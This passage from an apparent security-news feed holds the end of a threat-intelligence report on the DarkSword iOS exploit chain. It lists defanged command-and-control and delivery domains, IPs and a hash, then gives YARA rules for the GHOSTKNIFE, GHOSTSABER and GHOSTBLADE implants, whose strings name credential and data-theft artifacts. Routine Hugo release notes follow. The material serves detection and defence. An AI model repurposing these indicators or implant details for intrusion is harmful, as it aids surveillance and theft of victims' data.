<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1px" cellpadding="16px"><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>IOC</strong></p>
</td>
<td>
<p><strong>Threat Actor</strong></p>
</td>
<td>
<p><strong>Context</strong></p>
</td>
</tr>
<tr>
<td>
<p><span>snapshare[.]chat</span></p>
</td>
<td>
<p><span>UNC6748</span></p>
</td>
<td>
<p><span>DarkSword delivery used in Saudi Arabia</span></p>
</td>
</tr>
<tr>
<td>
<p><span>62.72.21[.]10</span></p>
</td>
<td>
<p><span>UNC6748</span></p>
</td>
<td>
<p><span>GHOSTKNIFE C2 server (November 2025)</span></p>
</td>
</tr>
<tr>
<td>
<p><span>72.60.98[.]48</span></p>
</td>
<td>
<p><span>UNC6748</span></p>
</td>
<td>
<p><span>GHOSTKNIFE C2 server (November 2025)</span></p>
</td>
</tr>
<tr>
<td>
<p><span>sahibndn[.]io</span></p>
</td>
<td>
<p><span>PARS Defense</span></p>
</td>
<td>
<p><span>DarkSword delivery used in Turkey</span></p>
</td>
</tr>
<tr>
<td>
<p><span>e5.malaymoil[.]com</span></p>
</td>
<td>
<p><span>PARS Defense</span></p>
</td>
<td>
<p><span>DarkSword delivery used in Malaysia</span></p>
</td>
</tr>
<tr>
<td>
<p><span>static.cdncounter[.]net</span></p>
</td>
<td>
<p><span>UNC6353</span></p>
</td>
<td>
<p><span>DarkSword delivery via watering holes in Ukraine</span></p>
</td>
</tr>
<tr>
<td>
<p><span>sqwas.shapelie[.]com</span></p>
</td>
<td>
<p><span>UNC6353</span></p>
</td>
<td>
<p><span>GHOSTBLADE exfiltration server</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div></div>
<div class="block-paragraph_advanced"><h4>File Indicators</h4></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>IOC</strong></p>
</td>
<td>
<p><strong>Threat Actor</strong></p>
</td>
<td>
<p><strong>Context</strong></p>
</td>
</tr>
<tr>
<td>
<p><span>2e5a56beb63f21d9347310412ae6efb29fd3db2d3a3fc0798865a29a3c578d35</span></p>
</td>
<td>
<p><span>UNC6353</span></p>
</td>
<td>
<p><span>Extracted GHOSTBLADE sample</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div></div>
<div class="block-paragraph_advanced"><h3><span>Detections</span></h3>
<h4><span>YARA Rules</span></h4></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Backdoor_GHOSTKNIFE_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$ = "server_pub_ex"
		$ = "client_pri_ds"
		$ = "getfilebyExtention"
		$ = "getContOfFilesForModule"
		$ = "carPlayConnectionState"
		$ = "saveRecordingApp"
		$ = "getLastItemBack"
		$ = "the inherted class"
		$ = "passExtetion"
	condition:
		filesize &lt; 10MB and not (uint16be(0) == 0x504b or uint32be(0) == 0x6465780a or uint16be(0) == 0x4d5a or uint32be(0) == 0x377abcaf) and 4 of them
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Backdoor_GHOSTSABER_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$ = "sendDeviceInfoJson"
		$ = "merge2AppLists"
		$ = "send_command_to_upper_process"
		$ = "ChangeStatusCheckSleepInterval"
		$ = "SendRegEx"
		$ = "evalJsResponse.json"
		$ = "sendSimpleUploadJsonObject"
		$ = "device_info_all"
		$ = "getPayloadForSimpleStatusRequest"
	condition:
		filesize &lt; 10MB and not (uint16be(0) == 0x504b or uint32be(0) == 0x6465780a or uint16be(0) == 0x4d5a or uint32be(0) == 0x377abcaf) and 4 of them
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Datamine_GHOSTBLADE_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$ = "/private/var/tmp/wifi_passwords.txt"
		$ = "/private/var/tmp/wifi_passwords_securityd.txt"
		$ = "/.com.apple.mobile_container_manager.metadata.plist" fullword
		$ = "X-Device-UUID: ${"
		$ = "/installed_apps.txt" fullword
		$ = "icloud_dump_" fullword
	condition:
		filesize &lt; 10MB and not (uint16be(0) == 0x504b or uint32be(0) == 0x6465780a or uint16be(0) == 0x4d5a or uint32be(0) == 0x377abcaf) and 3 of them
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Hunting_DarkSwordExploitChain_ImplantLib_FilePaths_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$ = "src/InjectJS.js"
		$ = "src/libs/Chain/Chain.js"
		$ = "src/libs/Chain/Native.js"
		$ = "src/libs/Chain/OffsetsStruct.js"
		$ = "src/libs/Driver/Driver.js"
		$ = "src/libs/Driver/DriverNewThread.js"
		$ = "src/libs/Driver/Offsets.js"
		$ = "src/libs/Driver/OffsetsTable.js"
		$ = "src/libs/JSUtils/FileUtils.js"
		$ = "src/libs/JSUtils/Logger.js"
		$ = "src/libs/JSUtils/Utils.js"
		$ = "src/libs/TaskRop/Exception.js"
		$ = "src/libs/TaskRop/ExceptionMessageStruct.js"
		$ = "src/libs/TaskRop/ExceptionReplyStruct.js"
		$ = "src/libs/TaskRop/MachMsgHeaderStruct.js"
		$ = "src/libs/TaskRop/PAC.js"
		$ = "src/libs/TaskRop/PortRightInserter.js"
		$ = "src/libs/TaskRop/RegistersStruct.js"
		$ = "src/libs/TaskRop/RemoteCall.js"
		$ = "src/libs/TaskRop/Sandbox.js"
		$ = "src/libs/TaskRop/SelfTaskStruct.js"
		$ = "src/libs/TaskRop/Task.js"
		$ = "src/libs/TaskRop/TaskRop.js"
		$ = "src/libs/TaskRop/Thread.js"
		$ = "src/libs/TaskRop/ThreadState.js"
		$ = "src/libs/TaskRop/VM.js"
		$ = "src/libs/TaskRop/VmMapEntry.js"
		$ = "src/libs/TaskRop/VMObject.js"
		$ = "src/libs/TaskRop/VmPackingParams.js"
		$ = "src/libs/TaskRop/VMShmem.js"
		$ = "src/MigFilterBypassThread.js"
	condition:
		any of them
}</code></pre></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[v0.158.0]]></title>
<description><![CDATA[This release adds css.Build, native and very fast bundling/transformation/minifying of CSS resources. Also see the new strings.ReplacePairs, a very fast option if you need to do many string replacements.
Notes

Upgrade to to Go 1.26.1 (#14597) (note) 1f578f1 @bep #14595. This fixes a security iss...]]></description>
<link>https://tsecurity.de/de/3497334/downloads/v01580/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3497334/downloads/v01580/</guid>
<pubDate>Thu, 07 May 2026 22:31:56 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This release adds <a href="https://gohugo.io/functions/css/build/" rel="nofollow">css.Build</a>, native and very fast bundling/transformation/minifying of CSS resources. Also see the new <a href="https://gohugo.io/functions/strings/replacepairs/" rel="nofollow">strings.ReplacePairs</a>, a very fast option if you need to do many string replacements.</p>
<h2>Notes</h2>
<ul>
<li>Upgrade to to Go 1.26.1 (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4034675464" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14597" data-hovercard-type="pull_request" data-hovercard-url="/gohugoio/hugo/pull/14597/hovercard" href="https://github.com/gohugoio/hugo/pull/14597">#14597</a>) (note) <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/1f578f160cbed384db0f8dbe708e990fc2235da9/hovercard" href="https://github.com/gohugoio/hugo/commit/1f578f160cbed384db0f8dbe708e990fc2235da9"><tt>1f578f1</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4033694405" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14595" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14595/hovercard" href="https://github.com/gohugoio/hugo/issues/14595">#14595</a>. This fixes a security issue in Go's template package used by Hugo: <a href="https://www.cve.org/CVERecord?id=CVE-2026-27142" rel="nofollow">https://www.cve.org/CVERecord?id=CVE-2026-27142</a></li>
</ul>
<h2>Deprecations</h2>
<p>The methods and config options are deprecated and will be removed in a future Hugo release.</p>
<p>Also see <a href="https://discourse.gohugo.io/t/deprecations-in-v0-158-0/56869" rel="nofollow">this article</a></p>
<h3>Language configuration</h3>
<ul>
<li><code>languageCode</code> → Use <code>locale</code> instead.</li>
<li><code>languages.&lt;lang&gt;.languageCode</code> → Use <code>languages.&lt;lang&gt;.locale</code> instead.</li>
<li><code>languages.&lt;lang&gt;.languageName</code> → Use <code>languages.&lt;lang&gt;.label</code> instead.</li>
<li><code>languages.&lt;lang&gt;.languageDirection</code> → Use <code>languages.&lt;lang&gt;.direction</code> instead.</li>
</ul>
<h3>Language methods</h3>
<ul>
<li><code>.Site.LanguageCode</code> → Use <code>.Site.Language.Locale</code> instead.</li>
<li><code>.Language.LanguageCode</code> → Use <code>.Language.Locale</code> instead.</li>
<li><code>.Language.LanguageName</code> → Use <code>.Language.Label</code> instead.</li>
<li><code>.Language.LanguageDirection</code> → Use <code>.Language.Direction</code> instead.</li>
</ul>
<h2>Bug fixes</h2>
<ul>
<li>tpl/css: Fix external source maps <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/e431f90bc6fff33742c468f25b77689852930284/hovercard" href="https://github.com/gohugoio/hugo/commit/e431f90bc6fff33742c468f25b77689852930284"><tt>e431f90</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4070757589" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14620" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14620/hovercard" href="https://github.com/gohugoio/hugo/issues/14620">#14620</a></li>
<li>hugolib: Fix server no watch <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/59e0446fe5c7cb8080a3f0736c4453110b89f732/hovercard" href="https://github.com/gohugoio/hugo/commit/59e0446fe5c7cb8080a3f0736c4453110b89f732"><tt>59e0446</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jmooring/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jmooring">@jmooring</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4067610257" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14615" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14615/hovercard" href="https://github.com/gohugoio/hugo/issues/14615">#14615</a></li>
<li>resources: Fix context canceled on GetRemote with per-request timeout <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/842d8f105256c5656e7895ee61fa5b2dfe90a9e3/hovercard" href="https://github.com/gohugoio/hugo/commit/842d8f105256c5656e7895ee61fa5b2dfe90a9e3"><tt>842d8f1</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4050230185" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14611" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14611/hovercard" href="https://github.com/gohugoio/hugo/issues/14611">#14611</a></li>
<li>tpl/tplimpl: Prefer early suffixes when media type matches <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/4eafd9eb7b53ba76a15799ad8ab47f6739636cff/hovercard" href="https://github.com/gohugoio/hugo/commit/4eafd9eb7b53ba76a15799ad8ab47f6739636cff"><tt>4eafd9e</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3267250287" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/13877" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/13877/hovercard" href="https://github.com/gohugoio/hugo/issues/13877">#13877</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4040189649" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14601" data-hovercard-type="pull_request" data-hovercard-url="/gohugoio/hugo/pull/14601/hovercard" href="https://github.com/gohugoio/hugo/pull/14601">#14601</a></li>
<li>all: Run go fix ./... <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/e3108225bf2f49bd3908614ac120bf1699fde241/hovercard" href="https://github.com/gohugoio/hugo/commit/e3108225bf2f49bd3908614ac120bf1699fde241"><tt>e310822</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a></li>
<li>internal/warpc: Fix SIGSEGV in Close() when dispatcher fails to start <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/c9b88e4d15b96bcf0468ac165f9df53a5fbcd1a5/hovercard" href="https://github.com/gohugoio/hugo/commit/c9b88e4d15b96bcf0468ac165f9df53a5fbcd1a5"><tt>c9b88e4</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3959706914" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14536" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14536/hovercard" href="https://github.com/gohugoio/hugo/issues/14536">#14536</a></li>
<li>Fix index out of range panic in fileEventsContentPaths <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/f797f84902297b7dd37c3f39ce057789a4d8e950/hovercard" href="https://github.com/gohugoio/hugo/commit/f797f84902297b7dd37c3f39ce057789a4d8e950"><tt>f797f84</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3998375738" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14573" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14573/hovercard" href="https://github.com/gohugoio/hugo/issues/14573">#14573</a></li>
</ul>
<h2>Improvements</h2>
<ul>
<li>resources: Re-publish on transformation cache hit <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/3c980c072ee6a9c37a1c6028a7d328696f745836/hovercard" href="https://github.com/gohugoio/hugo/commit/3c980c072ee6a9c37a1c6028a7d328696f745836"><tt>3c980c0</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4078103964" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14629" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14629/hovercard" href="https://github.com/gohugoio/hugo/issues/14629">#14629</a></li>
<li>create/skeletons: Use css.Build in theme skeleton <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/404ac00001de49c0ccbff4131be40fa2651e4a06/hovercard" href="https://github.com/gohugoio/hugo/commit/404ac00001de49c0ccbff4131be40fa2651e4a06"><tt>404ac00</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jmooring/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jmooring">@jmooring</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4077238980" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14626" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14626/hovercard" href="https://github.com/gohugoio/hugo/issues/14626">#14626</a></li>
<li>tpl/css: Add a test case for rebuilds on CSS options changes <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/06fcb724219eecdc20367e86e1a8134d3d7e0e5b/hovercard" href="https://github.com/gohugoio/hugo/commit/06fcb724219eecdc20367e86e1a8134d3d7e0e5b"><tt>06fcb72</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a></li>
<li>hugolib: Allow regular pages to cascade to self <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/9b5f1d491d2b7cde198dd2fd858de92e9e97700f/hovercard" href="https://github.com/gohugoio/hugo/commit/9b5f1d491d2b7cde198dd2fd858de92e9e97700f"><tt>9b5f1d4</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jmooring/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jmooring">@jmooring</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4077470281" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14627" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14627/hovercard" href="https://github.com/gohugoio/hugo/issues/14627">#14627</a></li>
<li>tpl/css: Allow the user to override single loader entries <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/623722bb07bb00e55b1793a4622f422736881c9b/hovercard" href="https://github.com/gohugoio/hugo/commit/623722bb07bb00e55b1793a4622f422736881c9b"><tt>623722b</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4073362464" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14623" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14623/hovercard" href="https://github.com/gohugoio/hugo/issues/14623">#14623</a></li>
<li>tpl/css: Make default loader resolution for CSS <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/import/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/import">@import</a> and url() always behave the same <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/a7cbcf15f0c5ef04b45350390e00e584e4d635b9/hovercard" href="https://github.com/gohugoio/hugo/commit/a7cbcf15f0c5ef04b45350390e00e584e4d635b9"><tt>a7cbcf1</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4070432912" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14619" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14619/hovercard" href="https://github.com/gohugoio/hugo/issues/14619">#14619</a></li>
<li>internal/js: Add default mainFields for CSS builds <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/36cdb2c7896bf8ec7ae5d716449b6678373bb5d1/hovercard" href="https://github.com/gohugoio/hugo/commit/36cdb2c7896bf8ec7ae5d716449b6678373bb5d1"><tt>36cdb2c</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jmooring/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jmooring">@jmooring</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4065837491" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14614" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14614/hovercard" href="https://github.com/gohugoio/hugo/issues/14614">#14614</a></li>
<li>Add css.Build <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/3e3b849cc758414262cffba370efcb810dfb1070/hovercard" href="https://github.com/gohugoio/hugo/commit/3e3b849cc758414262cffba370efcb810dfb1070"><tt>3e3b849</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4044659769" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14609" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14609/hovercard" href="https://github.com/gohugoio/hugo/issues/14609">#14609</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4050962321" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14613" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14613/hovercard" href="https://github.com/gohugoio/hugo/issues/14613">#14613</a></li>
<li>resources: Use full path for Exif etc. decoding error/warning messages <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/c47ec23342a77e923622ef9c2616ccf6275fe774/hovercard" href="https://github.com/gohugoio/hugo/commit/c47ec23342a77e923622ef9c2616ccf6275fe774"><tt>c47ec23</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2440496047" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/12693" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/12693/hovercard" href="https://github.com/gohugoio/hugo/issues/12693">#12693</a></li>
<li>Move to new locales library and upgrade CLDR from v36.1 to v48.1 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/4652ae4a44d8767496f65646f6480a288b0b1d6b/hovercard" href="https://github.com/gohugoio/hugo/commit/4652ae4a44d8767496f65646f6480a288b0b1d6b"><tt>4652ae4</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a></li>
<li>tpl/strings: Add strings.ReplacePairs function <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/13a95b9c0167c832fe2babf961ac5cad22e3a1e4/hovercard" href="https://github.com/gohugoio/hugo/commit/13a95b9c0167c832fe2babf961ac5cad22e3a1e4"><tt>13a95b9</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jmooring/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jmooring">@jmooring</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4033081876" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14594" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14594/hovercard" href="https://github.com/gohugoio/hugo/issues/14594">#14594</a></li>
<li>github: Remove pull_request_template.md <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/54c804876a5b63c3447b612ce6823339f3f486fc/hovercard" href="https://github.com/gohugoio/hugo/commit/54c804876a5b63c3447b612ce6823339f3f486fc"><tt>54c8048</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a></li>
<li>testing: Make commands tests pass in Go 1.26.1 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/157bfddda5c3d4029285bc678376765f0af0c952/hovercard" href="https://github.com/gohugoio/hugo/commit/157bfddda5c3d4029285bc678376765f0af0c952"><tt>157bfdd</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a></li>
<li>refactor: Deprecate language configuration and template methods <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/d4f2122dea17736e8deef30b40872c0e6894c88f/hovercard" href="https://github.com/gohugoio/hugo/commit/d4f2122dea17736e8deef30b40872c0e6894c88f"><tt>d4f2122</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jmooring/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jmooring">@jmooring</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3738297859" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14269" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14269/hovercard" href="https://github.com/gohugoio/hugo/issues/14269">#14269</a></li>
<li>Replace Exif with Meta in tests <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/991d2f9aba69a5b79bb46c40faf57c7b6d7adcc9/hovercard" href="https://github.com/gohugoio/hugo/commit/991d2f9aba69a5b79bb46c40faf57c7b6d7adcc9"><tt>991d2f9</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a></li>
<li>resources: Improve getImageOps error message <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/e8577771c3275d16b7d1b31cca5e9fd3ea517416/hovercard" href="https://github.com/gohugoio/hugo/commit/e8577771c3275d16b7d1b31cca5e9fd3ea517416"><tt>e857777</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jmooring/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jmooring">@jmooring</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3995643602" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14571" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14571/hovercard" href="https://github.com/gohugoio/hugo/issues/14571">#14571</a></li>
<li>resources/images: Add IsImageResourceWithMeta etc. tests for bmp and gif <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/44dc3847f4c91e86b1afa2350d42559bdecbaca9/hovercard" href="https://github.com/gohugoio/hugo/commit/44dc3847f4c91e86b1afa2350d42559bdecbaca9"><tt>44dc384</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3992515224" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14568" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14568/hovercard" href="https://github.com/gohugoio/hugo/issues/14568">#14568</a></li>
</ul>
<h2>Dependency Updates</h2>
<ul>
<li>deps: Upgrade github.com/evanw/esbuild v0.27.3 =&gt; v0.27.4 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/0e46a97e8a0d5b7ad1dbea1a39dace7a3ee29fcf/hovercard" href="https://github.com/gohugoio/hugo/commit/0e46a97e8a0d5b7ad1dbea1a39dace7a3ee29fcf"><tt>0e46a97</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a></li>
